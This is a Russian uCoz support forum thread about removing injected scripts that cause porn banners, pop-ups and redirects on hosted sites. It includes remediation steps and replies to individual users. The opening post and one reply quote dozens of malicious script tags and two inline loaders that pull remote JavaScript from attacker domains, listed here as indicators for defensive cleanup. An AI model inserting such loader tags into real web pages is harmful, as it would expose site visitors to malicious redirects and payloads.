Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
_VITALIK_
Сообщений: 696
Репутация: 115
Уровень замечаний:

Сообщение # 376 | 00:07:57
Цитата defaultNick9434 ()
Сторонняя реклама на сайте много разных баннеров при открытии
адрес сайта
http://spytnikovoe-tv.at.ua/

defaultNick9434, Это вот удалите
Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://ojlaxiv.ru/7utbz5dpe8r79gc4aurj2u8eedkslq8gj501vdv7w"></script>


Если я не ошибаюсь, то находиться скрипт в шаблоне нижней части сайта

Сообщение отредактировал _VITALIK_ - Суббота, 02 Май 2015, 00:08:50
Натал
Сообщений: 2
Репутация: 0

Сообщение # 377 | 12:50:48
здравствуйте. помогите, пжл, здесь http://mamania.at.ua/

пыталась найти script в "управлении дизайном" во всех шаблонах - безуспешно.
посмотрите, пжл, что надо почистить.
спасибо.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 378 | 12:54:11
Натал, укажите страницы где вы видите порно баннеры и обязательно сделайте скриншоты страницы вместе с порно баннерами

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sandra777L
Сообщений: 28
Репутация: 20

Сообщение # 379 | 22:02:04
Здравствуйте! Помогите, пожалуйста. У меня на сайте появилась сторонняя реклама и разные баннеры при открытии.
Когда захожу, как гость, то этого нет.
адрес сайта http://reiki-healing-l.org/
Сообщение отредактировал sandra777L - Понедельник, 04 Май 2015, 22:11:31
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 380 | 22:10:35
sandra777L, укажите страницы где вы видите порно баннеры и обязательно сделайте скриншоты страницы вместе с порно баннерами

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sandra777L
Сообщений: 28
Репутация: 20

Сообщение # 381 | 22:12:40
Цитата webanet ()
где вы видите порно баннеры

Таких баннеров нет, но есть другие.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 382 | 22:13:56
sandra777L, сделайте скриншоты всех других

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sandra777L
Сообщений: 28
Репутация: 20

Сообщение # 383 | 22:44:58
Цитата webanet ()
sandra777L, сделайте скриншоты всех других


Добавлено (04 Май 2015, 22:44:58)
---------------------------------------------
Ещё 3 скриншота не прикрепляются к сообщению
Прикрепления: 3634997.png (413.2 Kb) · 4520041.png (412.8 Kb)
Сообщение отредактировал sandra777L - Понедельник, 04 Май 2015, 22:46:04
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 384 | 22:48:50
sandra777L, все нормально. больше картинок не нужно. это рекламный баннер uCoz для авторизованных пользователей. снимается платно. инструкция по оплате тут http://manual.ucoz.net/board/36-1-0-370

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
sandra777L
Сообщений: 28
Репутация: 20

Сообщение # 385 | 23:02:48
спасибо, раньше такого не было, был аккуратный один
Сообщение отредактировал sandra777L - Понедельник, 04 Май 2015, 23:04:03
Tor3782
Сообщений: 2
Репутация: 0

Сообщение # 386 | 07:54:45
Добрый день. Пытался разместить объявление на стороннем сайте(irr.ru) о своем сайте http://stroyinvestgrup.ru/ Сайт заблокировали по причине (см. скриншот)
Возможно из-за неотключенной рекламы?

Вот такой ответ прислали:
Hello,

Our system has detected activity which may violate Google policies in one or more of your DoubleClick for Publishers line items. The reasons are listed below:

To ensure the safety and security of our users, we've disapproved your ad because we've determined that it leads to a landing page is known to host or distribute malware in violation of our policies.

Although certain bad advertisers may intentionally distribute malicious software, there are many cases where the webmaster or advertiser is unaware of the dangerous link because:

1) The site was compromised.

2) The site doesn't monitor for malicious user-contributed content.

3) The site contains an ad from a network that is distributing malicious software.

Google uses its own criteria, procedures, and tools to identify and disable ads that distribute malware. To run your ad, follow these instructions to check your computer for malware, remove all malicious code from the landing page, and submit your ads for review:
https://support.google.com/adwordspolicy/answer/1308246
Прикрепления: 4308823.png (41.1 Kb)
Сообщение отредактировал Tor3782 - Пятница, 08 Май 2015, 08:55:04
Натал
Сообщений: 2
Репутация: 0

Сообщение # 387 | 12:48:28
Цитата webanet ()
Натал, укажите страницы где вы видите порно баннеры и обязательно сделайте скриншоты страницы вместе с порно баннерами

Спасибо! Видимо, в тот вечер мне удалось что-то удалить, что давала порнобаннеры. Сейчас их уже нет. Напишу, если появятся.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 388 | 00:08:23
defaultNick9434, ваше сообщение перенесено сюда //forum.ucoz.ru/forum/45-68053-1257524-16-1431773927 читайте личные сообщения и не надо дублировать больше во все темы

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
БлАндинка
Сообщений: 25
Репутация: 8

Сообщение # 389 | 05:42:26
Доброго времени суток!
На сайте http://www.kam-mamochka.ru/forum/0-0-1-34 появилась сторонняя реклама в виде всплывающих окошек снизу + открываются окна сторонних сайтов, а-ля, али-экспресс...
Прошерстила по инструкции на вредоносные коды, не нашла...

Помогите, пожалуйста!

Спасибо!

Реклама выглядит так

Прикрепления: 0477464.jpg (147.3 Kb)
Сообщение отредактировал БлАндинка - Вторник, 14 Июл 2015, 06:27:37
koza4ello
Сообщений: 611
Репутация: 259

Сообщение # 390 | 09:36:26
БлАндинка, не удалось подтвердить проблему. Можете проверить наличие проблемы в другом браузере.
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: